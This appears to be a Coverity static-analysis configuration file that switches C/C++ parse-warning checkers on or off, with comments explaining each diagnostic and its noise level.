// The first two are disabled in cov-emit and cannot be enabled.
//chk "PW.UNRECOGNIZED_ATTRIBUTE": off;
//chk "PW.UNRECOGNIZED_MS_ATTR": off;
//chk "PW.UNRECOGNIZED_FORMAT_FUNCTION_TYPE": off;
// This is turned off in cov-emit, so it cannot be enabled here.
// A shadowing analysis would be better.
////chk "PW.UNREFERENCED_FUNCTION_PARAM": off;
// Explicit #warning. Presumably the native build will print these
// already.
//chk "PW.WARNING_DIRECTIVE": off;
// Reports when there is white space between a backslash and newline.
//
// Typically this is reported inside comments, and hence irrelevant.
//chk "PW.WHITE_SPACE_INSIDE_SPLICE": off;
// Reports when "auto" is used both in type deduction and
// function trailing return type.
//chk "PW.AUTO_USED_TWO_WAYS": off;
// Reports when an anonymous union is empty.
// Example:
// struct FOO {
// union {};
// };
//
//chk "PW.EMPTY_ANONYMOUS_UNION": off;
// Reports when "always_inline" attribute is used on
// non-inline functions.
// Example:
// void foo () __attribute__((always_inline)) {}
//
//chk "PW.ALWAYS_INLINE_REQUIRES_INLINE": off;
// Reports when dynamic exception specifications are used.
// Dynamic exception specifications are deprecated in C++11.
//
//chk "PW.DYNAMIC_EXCEPTION_SPECIFICATIONS_DEPRECATED": off;
// Reports when rvalue reference types are used in
// exception specification in strict ANSI mode.
// Example:
// class A {};
// void foo() throw (A&&);
//
//chk "PW.RVALUE_REFERENCE_IN_EXCEPTION_SPECIFICATION": off;
// enabled: buggy
//
// The following "warning" is actually not supposed to be a warning at
// all, but rather among a set of supporting messages for some other
// (real) warning. I'd like to get a sample of code that provokes it
// stand-alone, so I'm leaving it enabled.
//chk "PW.IMPLICIT_STATIC_DATA_MEMBER_DEFINITION": on;
// ---------------------- disabled: obviated ----------------------
// These checkers are disabled because what they report is also
// reported, with a lower FP/N rate, by a full Prevent checker.
// The warning produces many useless reports, for example a break
// statement after a return in a switch case. The UNREACHABLE checker
// typically does a better job.
//chk "PW.CODE_IS_UNREACHABLE": off;
//chk "PW.LOOP_NOT_REACHABLE": off;
//chk "PW.INITIALIZATION_NOT_REACHABLE": off;
// The MISSING_RETURN (no "PW." prefix) checker obviates this, and
// does a better job.
//chk "PW.MISSING_RETURN": off;
//chk "PW.NO_VALUE_RETURNED": off;
// BAD_OVERRIDE usually does a better job than either of these.
//chk "PW.PARTIAL_OVERRIDE": off;
//chk "PW.VIRTUAL_FUNCTION_DECL_HIDDEN": off;
// OVERRUN does a better job.
//chk "PW.SUBSCRIPT_OUT_OF_RANGE": off;
// NO_EFFECT handles this.
//chk "PW.UNSIGNED_COMPARE_WITH_ZERO": off;
// UNINIT handles this.
//chk "PW.USED_BEFORE_SET": off;
// RETURN_LOCAL does this.
//chk "PW.RETURNING_PTR_TO_LOCAL_VARIABLE": off;
//chk "PW.RETURNING_REF_TO_LOCAL_VARIABLE": off;
// ---------------------- disabled: noisy -------------------------
// These checkers produce some legitimate results, but also tend to
// generate a lot of false positives. They are good candidates for
// users to experiment with enabling, as the FP rate is dependent on
// code style.
// This warning has at least two causes:
//
// 1. In GCC C mode, a function can be defined as "extern inline"
// and then later redefined. The redefinition replaces the original
// definition.
//
// 2. In Microsoft C++ mode, an explicit specialization of a template
// can be defined multiple times. The Microsoft compiler silently
// ignores the definitions subsequent to the first.
//
// Both cases can potentially explode, so this warning is disabled.
//chk "PW.ALREADY_DEFINED": off;
// The const/volatile qualifier in a cast such as "(const int)x" or
// "(volatile int)x" has no meaning according to the C standard, so
// this checker reports such cases.
//
// However, some versions of GCC have unusual rules regarding when a
// cast yields an lvalue, in which case the qualifier (particularly
// volatile) might have an effect. However, as soon as the code is
// ported to another compiler or another version of GCC, the cast will
// again become a no-op.
//
// Therefore, code that wants to apply 'volatile' to an access should
// be rewritten to use a pointer: "*((volatile int*)&x)".
//
// However, this is off by default because the "bad" usage is too
// prevalent.
//chk "PW.CAST_TO_QUALIFIED_TYPE": off;
// Reports when a function is used without a prototype.
//
// The effect of this can be subtle, as the compiler has to guess how
// to convert arguments, and cannot check that their types match.
//
// But there are too many code bases that heavily rely on it, so it
// is off by default.
//chk "PW.IMPLICIT_FUNC_DECL": off;
// This reports cases where an overloaded operator 'new' is invoked,
// but there is no corresponding 'delete'.
//
// This is a problem because the memory cannot be freed if there is an
// exception thrown while constructing the object. However, if this
// warning ever fires, it fires hundreds of times, once for each use
// of the 'new'. Therefore we have it off by default to avoid
// inflating bug counts.
//chk "PW.NO_CORRESPONDING_DELETE": off;
//chk "PW.NO_CORRESPONDING_MEMBER_DELETE": off;
//chk "PW.CLASS_WITH_OP_DELETE_BUT_NO_OP_NEW": off;
//chk "PW.CLASS_WITH_OP_NEW_BUT_NO_OP_DELETE": off;
// This warns about const or reference members that cannot be
// initialized via constructor, but they still can be initialized via a compound
// initializer, and in fact that is what's usually going on.
//chk "PW.NO_CTOR_BUT_CONST_OR_REF_MEMBER": off;
// These warn about implicit conversions between things like char* and
// unsigned char*. Such conversions are be errors in C++, so this
// warning can only be seen in C code, where such conversions are (for
// better or worse) quite common.
//
// The different checker names are due to the conversions arising in
// different syntactic contexts.
//chk "PW.BAD_INITIALIZER_TYPE": off;
//chk "PW.BAD_RETURN_VALUE_TYPE": off;
//chk "PW.INCOMPATIBLE_ASSIGNMENT_OPERANDS": off;
//chk "PW.INCOMPATIBLE_OPERANDS": off;
//chk "PW.INCOMPATIBLE_PARAM": off;
// Reports when a default argument value is repeated.
//
// According to the C++ standard, default argument values can be
// defined at most once, but some compilers are lax about enforcing
// that (including ours, for compatibility).
//chk "PW.DEFAULT_ARG_ALREADY_DEFINED": off;
// Reports when an integer is implicitly converted to an enum.
//
// This is an error in C++, so this only shows up in C code.
//
// Depending on programming style, these reports might be interesting,
// but there is a lot of code out there for which this is 99% noise.
//chk "PW.MIXED_ENUM_TYPE": off;
// Reports when the start of a C-style comment appears in a C-style
// comment.
//
// On some code bases, this explodes due to pervasive deliberate use,
// and the check doesn't provide that much value, so this is disabled
// by default.
//chk "PW.NESTED_COMMENT": off;
// Reports situations like the following:
//
// typedef void my_void;
// int f(my_void); // intended meaning: no params
//
// Though it is legal in C99 (6.7.5.3/10), it is not legal C++
// (8.3.5/2).
//
// Not really an interesting "defect", and can explode.
//chk "PW.NONSTD_VOID_PARAM_LIST": off;
// Reports when two declarations disagree.
//
// The only reports I've seen were clashes with
// coverity-compiler-compat.h. The native compiler should diagnose
// anything real.
//chk "PW.NOT_COMPATIBLE_WITH_PREVIOUS_DECL": off;
// Useful warnings for 32/64-bit porting issues. Reports wider pointers being
// converted to narrow integers and narrower integers being converted to wider
// pointers. Can be somewhat noisy in certain styles of code.
//chk "PW.POINTER_CONVERSION_LOSES_BITS": on;
//chk "PW.CONVERSION_TO_POINTER_ADDS_BITS": on;
// Reports when an integer is converted to an integer that is smaller.
//
// Experimentally, this produces more noise than signal, but individual
// users may wish to do their own experimentation.
//
// Note that cov-emit must know the correct sizes of various types for
// these reports to be accurate; see the --size_types command line
// option to cov-emit.
//chk "PW.INTEGER_TRUNCATED": off;
//chk "PW.ILP64_WILL_NARROW": off; // extremely noisy! requires --microsoft_mode
// Impact is unclear, can be a difficult message to explain because
// it is usually caused by the baroque promotion rules.
//
// 2007-08-20: This causes Windows emits to be much slower because
// there are many of these warnings in the Windows header files. So
// this warning is now unconditionally disabled; i.e., the config file
// cannot be used to re-enable it.
////chk "PW.INTEGER_SIGN_CHANGE": off;
// These are warnings that can only happen in Microsoft mode,
// indicating that accessibility issues prevents generation of implicit
// functions such as copy assignment or destructors.
// DR 10204
//chk "PW.ACCESS_PREVENTS_DTOR_GENERATION": off;
//chk "PW.CONST_MBR_SUPPRESSES_COPY_ASGN_DECL": off;
//chk "PW.REF_MBR_SUPPRESSES_COPY_ASGN_DECL": off;
//chk "PW.SUBOBJ_COPY_ASGN_DECL_SUPPRESSED": off;
//chk "PW.AMBIG_SUPPRESSES_COPY_ASGN_DECL": off;
//chk "PW.ACCESS_SUPPRESSES_COPY_ASGN_DECL": off;
//chk "PW.SUBOBJ_COPY_CTOR_DECL_SUPPRESSED": off;
//chk "PW.AMBIG_SUPPRESSES_COPY_CTOR_DECL": off;
//chk "PW.ACCESS_SUPPRESSES_COPY_CTOR_DECL": off;
// This is related to PW.ACCESS_PREVENTS_DTOR_GENERATION. The warning
// is disabled because the Microsoft compiler would have produced its
// own error if this was a problem; and the warning can explode.
//chk "PW.SUPPRESSED_DTOR_NEEDED": off;
// ------------------ disabled: borderline noisy ------------------
// These PWs do sometimes find good bugs, but also report a lot of
// code that, while it probably should be fixed, does not cause a
// run-time problem. Previously, they had been marked "no_macros",
// but are now disabled as per bug 8803.
// Reports when a variable is declared but not subsequently used.
//
// Sometimes gets FPs due to conditional compilation.
//chk "PW.DECLARED_BUT_NOT_REFERENCED": off;
// Reports when a variable is assigned a value, but that value is
// not subsequently used.
//
// Partial overlap with UNUSED_VALUE.
//chk "PW.SET_BUT_NOT_USED": off;
// ---------------------- disabled in macros ----------------------
// These checkers' results are suppressed when they coincide with
// macro expansions, because they are suspicious, but macros often
// trigger them too.
// Reports when a conditional is a compile-time constant.
//
// It can get FPs when the constant is due to conditional compilation.
// There is also some overlap with NO_EFFECT's reports.
//chk "PW.BOOLEAN_CONTROLLING_EXPR_IS_CONSTANT": no_macros;
// Reports when an expression has no apparent effect and its value is
// not used or saved.
//
// This is precisely what the NO_EFFECT checker looks for, but it's
// not yet clear whether NO_EFFECT completely subsumes this one (not
// enough field experience).
//
// Disabled in macros because it tends to explode in Windows code
// bases.
//chk "PW.EXPR_HAS_NO_EFFECT": no_macros;
// Reports when pointer arithmetic appears to compute a value outside
// the original object. Technically, the behavior is undefined.
//
// On linux this explodes in the ZERO_PAGE macro.
//chk "PW.POINTER_OUTSIDE_BASE_OBJECT": no_macros;
// Reports when the guard of a 'switch' is a constant.
//
// Explodes on linux due to compile-time switching on type sizes, so
// suppressed in macros.
//chk "PW.SWITCH_SELECTOR_EXPR_IS_CONSTANT": no_macros;
// --------------------------- enabled ----------------------------
// These checkers are enabled by default. This is not an exhaustive
// list yet, however.
// Reports when, in a C (as opposed to C++) source file, a variable
// declared with the 'register' keyword has its address taken.
//
// If the address-of is explicit, the code is invalid (C99 6.5.3.2p1),
// but allowed for compatibility reasons.
//
// If the address-of is implicit due to an array access, then the code
// is not invalid, although the behavior is undefined (C99 6.3.2.1p3).
//chk "PW.ADDRESS_OF_REGISTER_VARIABLE": on;
// Reports when a GCC "linker alias" refers to an undeclared symbol.
//
// On some platforms GCC accepts such code, on others it is an error,
// so Prevent reports it on the grounds of being nonportable.
//chk "PW.ALIASED_NAME_UNDECLARED": on;
// Reports where an explicit alignment (a GCC extension) directive
// will be ignored by GCC due to the absence of the "packed"
// attribute.
//
// The impact is the structure in question may not be laid out in
// memory as was intended.
//chk "PW.ALIGNMENT_REDUCTION_IGNORED": on;
// Possible use of "=" where "==" was intended.
//
// This warning flags conditions where "=" appears and "==" is
// usually expected, but only if the right-hand side of the
// assignment is a constant.
//chk "PW.ASSIGN_WHERE_COMPARE_MEANT": on;
// Reports when a GCC attribute will be ignored by GCC due to its
// attachment to a forward declaration.
//
// Possibly a serious bug, depending on how important the attribute
// is.
//chk "PW.ATTRIBUTE_IGNORED_ON_INCOMPLETE_CLASS_DECL": on;
// Reports two kinds of casts:
//
// 1. Casting an integer to a pointer of narrower precision. This
// is legal (implementation-defined) but suspicious. Sometimes
// reported as PW.CONVERSION_TO_POINTER_LOSES_BITS instead.
//
// 2. Casting away 'const' in some circumstances (allowed for bug
// compatibility with other compilers).
//chk "PW.BAD_CAST": on;
// Reports when a nonstandard (invalid) friend declaration. One
// example is the MS bug/feature where a template (rather than a
// template specialization) can be befriended.
//
// Invalid C++, but accepted (in some cases) for compatibility.
//chk "PW.BAD_FRIEND_DECL": on;
// Reports when a macro is #defined to a different value than it had
// previously.
//
// This report is of questionable value, since presumably the native
// build warns about it too, but so far these have been rare, and it
// could conceivably indicate a failure to properly emulate the native
// preprocessor.
//chk "PW.BAD_MACRO_REDEF": on;
// Reports when the return type of 'main' is not 'int'.
//
// In C, this yields unspecified behavior but is legal (C99
// 5.1.2.2.3p1). In C++, this is illegal (C++03 3.6.1p2) but may be
// allowed for compatibility with other compilers.
//chk "PW.BAD_RETURN_TYPE_ON_MAIN": on;
// Reports when a 'goto' jumps over the initialization of a variable,
// but into that variable's scope. Any subsequent uses of the
// variable would read an uninitialized value.
//
// Unfortunately, the warning currently does not check to see if the
// variable is actually used after the 'goto' target, so this
// sometimes produces useless results, but the bugs it does find can
// be quite serious.
//chk "PW.BRANCH_PAST_INITIALIZATION": on;
// Reports when a virtual call target can be resolved statically, and
// the target is a pure virtual function.
//
// One common mistake is calling a virtual function from a constructor
// or destructor. During construction and destruction, the target of
// a virtual call is always one defined in the class being constructed
// (or its base classes).
//
// This might not be an error; it *is* possible to provide a
// definition of a pure virtual function. However, this warning does
// not consider that possibility.
//
// If no definition is provided, the program will abort when the pure
// virtual function is called.
//chk "PW.CALL_OF_PURE_VIRTUAL": on;
// Reports when a conversion operator function cannot be used to do
// conversions because it yields something like a reference to its
// own class or a base class (C++03 12.3.2p1).
//
// Legal, but most likely unintentional.
//chk "PW.CONVERSION_FUNCTION_NOT_USABLE": on;
// Reports when an integer is converted to a narrower pointer.
//
// In some cases, this is reported as PW.BAD_CAST instead.
//
// May indicate a portability bug.
//chk "PW.CONVERSION_TO_POINTER_LOSES_BITS": on;
// Reports when a single name is declared (possibly due to K&R-style
// implicit declaration) and then re-declared in an incompatible way.
//
// Accepted only for bug compatibility with other compilers.
//chk "PW.DECL_INCOMPATIBLE_WITH_PREVIOUS_USE": on;
// Reports when a declaration (typically of a structure) appears in
// the parameter list of a function. Example:
//
// int f(struct Foo { int x; } * p) { ... }
//
// The problem is that the scope of 'struct Foo' is limited to the
// body of the function 'f', and consequently it is not possible to
// call 'f', because there is no way for the caller to name the type
// that it accepts. (In C, it is still possible to call the function
// by passing a void*, but then the call is not type-safe.)
//chk "PW.DECL_IN_PROTOTYPE_SCOPE": on;
// Reports a division by zero detected at compile time while doing
// constant folding.
//
// The run-time effect is undefined.
//chk "PW.DIVIDE_BY_ZERO": on;
// A more naive version of our STRAY_SEMICOLON; reports lots of cases
// involving conditionally defined macros.
//chk "PW.EMPTY_ELSE_STATEMENT": off;
// A more naive version of our STRAY_SEMICOLON; reports lots of cases
// involving conditionally defined macros.
//chk "PW.EMPTY_THEN_STATEMENT": off;
// Reports when an expression is cast to enumeration type using
// const_cast.
//
// Invalid C++ (C++03, 5.2.11), as const_cast can only cast to
// pointers and references, but allowed for compiler compatibility.
//chk "PW.ENUM_CONST_CAST": on;
// Reports when an overrider of a virtual function has a more
// permission exception specification than the overridee.
//
// This is invalid (C++03, 15.4p3). It can lead to subtle code
// generation problems when the native compiler accepts it, because
// the compiler may rely on the more permissive exception
// specification when generating the call site code, potentially
// resulting in a program crash when an exception is thrown.
//chk "PW.EXCEPTION_SPEC_OVERRIDE_INCOMPAT": on;
// Reports when a right-parenthesis was expected. This is a warning
// for the preprocessor and an error for the compiler.
//
// Parse errors in preprocessor statements can be maintenance
// time-bombs, since you can't predict how the compiler will interpret
// malformed input after making small changes.
//chk "PW.EXP_RPAREN": on;
// Reports when a semicolon is omitted just before a right-brace.
//
// Accepted only for bug compatibility with other compilers.
//chk "PW.EXP_SEMICOLON": on;
// Reports when a label statement (something that could be the target
// of a 'goto') is immediately followed by '}'.
//
// Accepted only for bug compatibility with other compilers.
//chk "PW.EXP_STATEMENT": on;
// Reports when the LHS of an assignment operator is not an lvalue.
//
// Normally this is an error, but in certain compatibility modes, cast
// expressions are tolerated because some compilers allow casts to
// yield lvalues in C.
//chk "PW.EXPR_NOT_A_MODIFIABLE_LVALUE": on;
// Reports when a header file transitively includes itself.
//
// This has a variety of bad effects, because it indicates a cycle in
// the dependency structure. For example, it might mean that
// something one file needs is not available when expected. In some
// cases, the problem can be avoided by creating appropriate forward
// declarations rather than pulling in an entire header file.
//
// See the PARSE_WARNING documentation for additional discussion
// about the impact of these defects.
//chk "PW.INCLUDE_RECURSION": on;
// Reports when a boolean is incremented.
//
// This usage is deprecated; see C++03 Standard, D.1p1.
//chk "PW.INCR_OF_BOOL_DEPRECATED": on;
// Reports when an initialization priority (GCC extension) value is
// specified that is in the reserved range.
//
// The code is likely to be nonportable across GCC versions.
//chk "PW.INIT_PRIORITY_RESERVED": on;
// Reports when the 'inline' keyword is applied to something that is
// not a function.
//
// Not valid C++, but some compilers fail to enforce.
//chk "PW.INLINE_AND_NONFUNCTION": on;
// Reports when a compile-time calculation overflows.
//
// The behavior is undefined according to the C++ standard. May or
// may not be a problem depending on the compiler.
//chk "PW.INTEGER_OVERFLOW": on;
//chk "PW.INTEGER_TOO_LARGE": on;
// Reports when a nested class is redeclared and the second
// declaration is not a definition.
//
// Not valid C++, but some compilers fail to enforce.
//chk "PW.INVALID_NESTED_CLASS_REDECL": on;
// Reports when the 'typename' keyword is used in a syntactic context
// where it is not allowed. 'typename' may only be used in templates,
// and in front of qualified names (see C++03, 14.6/5).
//
// Invalid C++, but allowed for compiler compatibility.
//chk "PW.INVALID_TYPENAME_SPECIFIER": on;
// Reports when two successive variable declarations conflict over
// whether the variable has external linkage.
//
// This is allowed by our parser only for bug compatibility with other
// compilers; many compilers properly reject it. If the
// internal-linkage declaration is in a header, then there may be
// multiple copies of the variable in the program, which can lead to
// execution bugs.
//chk "PW.LINKAGE_CONFLICT": on;
// Reports when a local type (e.g., a class type defined inside the
// body of a function) is used in the declaration of an entity with
// linkage (such as a function). This typically happens as a result
// of instantiating a template with a local type, which is not legal
// (see C++03, 14.3.1/2).
//
// This is allowed by our parser for bug compatibility with other
// compilers.
//chk "PW.LOCAL_TYPE_IN_FUNCTION": on;
//chk "PW.LOCAL_TYPE_IN_NONLOCAL_VAR": on;
//chk "PW.LOCAL_TYPE_IN_TEMPLATE_ARG": on;
//chk "PW.LOCAL_TYPE_USED_IN_EXCEPTION": on;
// Reports when, in a single try-catch, an earlier exception handler
// catches a superset of the types caught by a later exception
// handler, which implies the later handler is unreachable.
//chk "PW.MASKED_BY_HANDLER": on;
// Reports when a variable declared 'const' has no initializer.
//
// Occasional FPs (macros, statics) but low volume anyway.
//chk "PW.MISSING_DEFAULT_CONSTRUCTOR_ON_CONST": on;
//chk "PW.MISSING_DEFAULT_CONSTRUCTOR_ON_UNNAMED_CONST": on;
//chk "PW.MISSING_INITIALIZER_ON_CONST": on;
//chk "PW.MISSING_INITIALIZER_ON_FIELDS": on;
// Reports something like:
//
// typedef int ;
//
// where the declarator in a typedef is missing.
//
// This is allowed for bug compatibility with other compilers, but is
// not legal C or C++.
//
// This warning sometimes occurs when a type is defined both via a
// #define and a typedef, which indicates there is some problem in the
// type definition header files; sizes of variables might not be what
// was intended.
//chk "PW.MISSING_TYPEDEF_NAME": on;
// Reports use of the anachronistic "implicit int" return type rule.
//
// Most often, a "void" return type was simply forgotten.
//chk "PW.MISSING_TYPE_SPECIFIER": on;
//chk "PW.MISSING_DECL_SPECIFIERS": on;
//chk "PW.IMPLICIT_INT_ON_MAIN": on;
// Reports when the linkage language ("C" or "C++") for a name
// conflicts with a prior declaration.
//
// Accepted only for bug compatibility with other compilers.
//chk "PW.NAME_LINKAGE_MISMATCH_FOR_VARIABLE": on;
// Reports when a function is *declared* to be inline, but no inline
// definition is found.
//
//chk "PW.NEVER_DEFINED": on;
// Reports when a non-const reference is bound to a temporary value.
//
// This is not legal in the current C++ standards, in part because it
// can lead to bugs where an implicitly-created temporary value is modified
// (and then discarded), but the programmer intended to modify
// something more permanent.
//chk "PW.NONCONST_REF_INIT_ANACHRONISM": on;
//chk "PW.NONCONST_REF_INIT_FROM_RVALUE": on;
// Reports the use of an additional layer of braces in an initializer.
//
// Accepted only for bug compatibility with other compilers.
//chk "PW.NONSTD_BRACES": on;
// Reports when a non-static const member of a class is initialized
// inside the class definition.
//
// This is not legal C++ (9.4.2/4), but accepted for bug compatibility
// with other compilers.
//chk "PW.NONSTD_CONST_MEMBER": on;
// Reports when a default argument of a function template is redeclared.
//
// Not valid C++, but some compilers fail to enforce.
//chk "PW.NONSTD_DEFAULT_ARG_ON_FUNCTION_TEMPLATE_REDECL": on;
// Reports when a class is befriended without using the 'class' or
// 'struct' keyword.
//
// Invalid C++, allowed for compatibility.
//chk "PW.NONSTD_FRIEND_DECL": on;
// Reports a use of the anachronistic "implicit int" rule.
//
// Invalid C++, allowed for compatibility.
//chk "PW.NONSTD_IMPLICIT_INT": on;
// Reports when a non-POD (Plain Old Data) type is passed to a
// variable-argument function as one of the ellipsis ("...")
// parameters.
//
// Undefined behavior. C++ standard, 5.2.2/7.
//chk "PW.NON_POD_PASSED_TO_ELLIPSIS": off;
// Reports when a function that has been declared to not return
// appears capable of returning.
//
// Sometimes this happens when a function that usually aborts, and
// hence is declared to not return, has a run-time switch to disable
// the abort behavior. However, this can be a serious bug, because
// some compilers will generate code that will crash or otherwise
// misbehave when a 'noreturn' function in fact returns; it is not
// necessarily a benign optimization.
//chk "PW.NORETURN_FUNCTION_DOES_RETURN": on;
// Reports when a reference to NULL is created.
//
// Undefined behavior. C++ standard, 8.3.2/4.
//chk "PW.NULL_REFERENCE": on;
// Reports when the promoted type of an argument is incompatible with
// the promoted type of the parameter.
//
// This usually indicates a bug at the call site, where the wrong
// argument expression is being passed.
// This can be very noisy in some (particularly, older) code bases. It is
// also very difficult to comprehend in CIM ca. 5.x since parse warnings are
// shown without the caret indicating where on the line they occur.
//chk "PW.OLD_STYLE_INCOMPATIBLE_PARAM": off;
// Reports when more than one overloaded function is declared with
// extern "C" linkage.
//
// Invalid (C++03, 7.5p6), but allowed for bug compatibility. This
// can lead to the wrong function being executed at run time.
//chk "PW.OVERLOADED_FUNCTION_LINKAGE": on;
// Reports when a parameter is assigned a value but the value is then
// not used.
//
// Typically, this is unintentional; the programmer may have meant
// to set a different variable, or meant to set *param instead of
// param.
//chk "PW.PARAM_SET_BUT_NOT_USED": on;
// Reports when a parameter is hidden by a local.
//
// Often poor style, if not outright bug.
//chk "PW.PARAMETER_HIDDEN": on;
// Reports when a function is declared with a prototype, then
// redeclared without a prototype. Can only happen in C code.
// Example:
//
// int foo(int a, int b);
// int foo(); // not a prototype (not even "(void)")
//
// foo(3,4,5); // allowed by GCC
//
// This is almost certainly a mistake, as the original prototype is
// being ignored, and consequently there might be undetected errors at
// call sites.
//chk "PW.PROTOTYPE_LOST": on;
// Reports when a member declaration contains a qualifier.
//
// Not valid C++, but allowed by some compilers.
//chk "PW.QUALIFIER_IN_MEMBER_DECLARATION": on;
// Reports when the address of a temporary value is returned from a function.
//
// This results in undefined behavior (probable crash), because the
// temporary value is destroyed on function exit, and then (presumably) used
// by the caller.
//chk "PW.RETURNING_PTR_TO_LOCAL_TEMP": on;
// Reports when a shift count is a compile-time constant and greater
// than or equal to the representation width of the shift result.
//
// Undefined behavior according to the C++ standard.
//chk "PW.SHIFT_COUNT_TOO_LARGE": on;
// Reports when a bitfield has one bit and is signed.
//
// The impact is subtle: the bitfield can store the values 0 and -1,
// rather than 0 and 1, as is probably intended; and if the machine
// happens to use sign-magnitude rather than two's complement, then
// the bitfield can store +0 and -0, which is even less likely to be
// what is intended.
//
// Normally, single-bit bitfields are unsigned.
//chk "PW.SIGNED_ONE_BIT_FIELD": on;
// Reports when an explicit specialization is used before being
// declared.
//
// The most likely effect is that a different function will be called
// than the one that is intended. See C++03, 14.7.3p7.
//chk "PW.SPECIALIZATION_OF_REFERENCED_ENTITY_POS": on;
// Reports when a store class specifier (e.g., "static") cannot be
// used in a given syntactic context.
//
// Invalid C++, but allowed for compiler compatibility.
//chk "PW.STORAGE_CLASS_NOT_ALLOWED": on;
// Reports when a storage class is applied to something like a type
// specifier with no declarator, e.g., "static struct S {};".
//
// Invalid, but accepted for bug compatibility.
//chk "PW.STORAGE_CLASS_REQUIRES_FUNCTION_OR_VARIABLE": on;
// Reports when a printf format string contains an unrecognized format
// specifier.
//chk "PW.BAD_PRINTF_FORMAT_STRING": on;
// Reports when the type of an argument to a printf-style function is
// inconsistent with the format specifier. For noise reduction
// purposes, only serious mismatches (e.g., int vs. pointer) are
// reported.
//chk "PW.PRINTF_ARG_MISMATCH": on;
// Reports when the number of arguments differs from the number of
// required arguments according to the format string.
//
// Too many arguments is strange, but legal. Too few arguments
// causes undefined behavior.
//chk "PW.TOO_FEW_PRINTF_ARGS": on;
//chk "PW.TOO_MANY_PRINTF_ARGS": on;
// Reports when calls to printf and scanf functions where the format
// string is not a string literal. This may be a security hole if the
// format string came from untrusted input and contains %n.
//chk "PW.NON_CONST_PRINTF_FORMAT_STRING": off;
// Reports when extra arguments are passed to a function.
//
// Normally this is an error, but in some cases it is accepted for bug
// compatibility with other compilers.
//chk "PW.TOO_MANY_ARGUMENTS": on;
// Reports when a type with no linkage (C++ Standard, 3.5/4) is used
// declare something that itself does have linkage. Example:
//
// typedef struct { int x; } *Ptr; // the struct has no linkage
// void func(Ptr p); // but 'func' does
//
// Not valid C++ (C++ Standard, 3.5/8), but allowed for bug
// compatibility with other compilers. In some cases, this can cause
// the linker to link a call site to the wrong function because names
// with no linkage cannot be reliably mangled.
//chk "PW.TYPE_WITH_NO_LINKAGE_IN_FUNCTION": on;
//chk "PW.TYPE_WITH_NO_LINKAGE_IN_VAR_WITH_LINKAGE": on;
// Reports when an character escape sequence (backslash then
// something) that is not among the allowed escape sequences (C++
// Standard, Clause 2, Table 5).
//
// Not valid C++, but allowed for bug and/or extension compatibility
// with some compilers.
//chk "PW.UNRECOGNIZED_CHAR_ESCAPE": on;
// Reports when an unsigned value is compared against a negative
// value; the comparison can typically only yield one result.
//
// Probable bug. Some cases will also be found by NO_EFFECT.
//chk "PW.UNSIGNED_COMPARE_WITH_NEGATIVE": on;
// Reports a declaration that does not declare anything, e.g.:
//
// int ;
//
// Not valid C++, but allowed by some compilers.
//chk "PW.USELESS_DECL": on;
// Reports when a const/volatile qualifier is useless.
//
// Often indicates confusion about syntax, particularly when someone
// writes "char * const" but meant "char const *".
//chk "PW.USELESS_TYPE_QUALIFIERS": on;
//chk "PW.USELESS_TYPE_QUALIFIER_ON_RETURN_TYPE": on;
// Reports when a 'using' declaration is redundant because it refers
// to the current namespace.
//
// Not invalid, but may be unintentional, and probably confusing.
//chk "PW.USELESS_USING_DECLARATION": on;
// Reports when a field declared 'const' is not initialized.
//
// In C++, this is an error. In C it is a warning, but the run time
// effect is undefined.
//chk "PW.VAR_WITH_UNINITIALIZED_FIELD": on;
// Reports when the type passed to 'va_arg' is a non-promoted type,
// meaning that if an argument of that type had been passed, it would
// have been promoted (typically to 'int' or 'unsigned int'). The
// 'va_arg' is interpreted as if the promoted type were named instead.
//
// This can arise from misuses of variable-argument functions when the
// promotion rules are not understood. The offending code should be
// checked for correctness, and/or the type replaced with the promoted
// type for clarity.
//chk "PW.VA_ARG_WOULD_HAVE_BEEN_PROMOTED": on;
// Reports two different issues:
//
// * Character literal with no character: ''
// * #include of empty-string file name: #include ""
//
// Both are nonstandard.
//chk "PW.ZERO_LENGTH_STRING": on;
// Reports when a DLL is imported multiple times in a single translation
// unit using #import with conflicting attributes. The Microsoft compiler
// ignores the second #import. If the order of the imports were to change
// this could break the compilation or change the semantics of the program.
// Microsoft considers this a bug and may make it a parse error in future
// versions of their compiler.
//
// This can also result in parse errors for the Coverity Compiler since it
// uses the attributes on the last #import encountered.
//chk "SW.BAD_IMPORT_ATTRIBUTES": on;
// Reports when a deprecated compiler mode is being used. Most compiler
// modes have been replaced by a collection of options that will mimic
// that compiler behavior. By using the individual options we have more
// control to match the behavior of the native compiler. Regenerating
// configurations using the latest version of cov-configure should
// eliminate this warning.
//chk "SW.DEPRECATED_COMPILER_MODE": on;
// Reports when an incomplete type is used in a location that the C++
// standard does not permit. We allow this since many C++ compilers
// permit this, however, it is not always clear what the intention is.
// This can potentially cause false positives.
//chk "SW.INCOMPLETE_TYPE_NOT_ALLOWED": on;
// Reports when the Coverity Compiler encounters an integer type that
// has a size it cannot support. This can mean there is some kind
// of configuration problem. The Coverity Compiler will substitute an
// integer of a known size. This has the potential to introduce false
// positives.
//chk "SW.NO_TYPE_OF_SPECIFIED_WIDTH": on;
// Reports when a non-type symbol is followed by a template argument list
// in a non-expression context. Since we do not know what the meaning of
// this code is, we ignore it, but it could trigger pass errors later.
//
// template <class T> class C {
// void f();
// friend void f<>();
// };
// C<int> x;
//chk "SW.SYM_NOT_A_TEMPLATE": on;
// Reports when an enumeration type declaration hides a previous
// declaration for the same enumeration type name.
//
//chk "PW.ENUM_TYPE_REPLACEMENT": on;
// Reports when an invalid narrow conversion is detected.
// Example:
// int a = {3.4}; // cause warning in c++11 mode
//
//chk "PW.NARROWING_CONVERSION": on;
// Reports when a narrowing conversion from integral types to
// floating-point types results in loss of precisions.
// Example:
// float a = {99999*9999}; // cause warning in c++11 mode
//
//chk "PW.CONSTANT_NARROWING_CONVERSION_TO_FLOAT": on;
// Reports when a list initializer in parentheses is used
// to initialize an array member.
// Example:
// class FOO {
// FOO(): array({ 1, 2 }) {}
// int array[2];
// };
//
// Invalid C++, allowed for compatibility with GCC.
//chk "PW.BRACED_INIT_IN_PAREN_INIT": on;
// Reports when "new" of std::initializer_list is used.
// Example:
// #include <initializer_list>
// void func() {
// std::initializer_list<int>* var = new std::initializer_list<int>{1, 2};
// }
//
//chk "PW.NEW_OF_INITIALIZER_LIST": on;
// Reports when noexcept is not used on a function declaration.
// Example:
// void (*p)() noexcept;
//
//chk "PW.NOEXCEPT_NOT_ON_FUNCTION_DECLARATION": on;
// Reports when a member function is casted to a
// function pointer. Nonstandard behavior.
//
//chk "PW.CONV_OF_UNBOUND_PM_TO_FUNC_PTR": on;
// Reports partial specialization in an invalid scope
